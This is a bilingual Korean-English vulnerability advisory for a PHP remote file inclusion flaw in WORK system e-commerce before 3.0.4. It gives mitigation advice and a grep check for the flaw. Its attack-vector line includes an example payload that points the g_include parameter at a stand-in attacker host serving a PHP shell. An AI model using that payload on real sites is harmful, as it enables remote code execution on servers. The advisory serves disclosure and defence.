🇰🇷 한글 설명
Laurent Van den Reysen WORK system e-commerce 3.0.2 및 3.0.4 이전 버전의 PHP 원격 파일 포함(RFI) 취약점으로, g_include 파라미터를 통해 공격자가 임의의 PHP 코드를 실행할 수 있습니다. index.php, module/forum/forum.php 및 module/, administration/module/ 디렉토리의 여러 파일이 영향을 받습니다.
💡 쉬운 설명
오래된 전자상거래 시스템에서 URL을 입력받는 부분이 제대로 검사되지 않아, 공격자가 악의적인 코드를 주입할 수 있는 문제입니다. 이를 통해 공격자는 서버에서 자신이 원하는 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Laurent Van den Reysen WORK system e-commerce 3.0.2, and other versions before 3.0.4, allow remote attackers to execute arbitrary PHP code via a URL in the g_include parameter to (1) index.php, (2) module/forum/forum.php, (3) unspecified files under module/, and (4) unspecified files under administration/module/.
📍 영향받는 시스템
Laurent Van den Reysen WORK system e-commerce v3.0.2 및 3.0.4 이전의 모든 버전
⚔️ 공격 벡터
g_include 파라미터에 원격 PHP 파일 URL을 전달하여 원격 코드 실행 (예: ?g_include=http://attacker.com/shell.php)
🛡️ 대응 방법
WORK system e-commerce를 v3.0.4 이상으로 업그레이드하거나, 입력 검증 강화 및 외부 파일 포함 차단
🔧 검증 코드
검증 없이 g_include 파라미터가 include/require 함수에 직접 사용되는 코드가 발견되면 취약함
grep -r 'g_include' /path/to/application 2>/dev/null | grep -v '^Binary' | head -10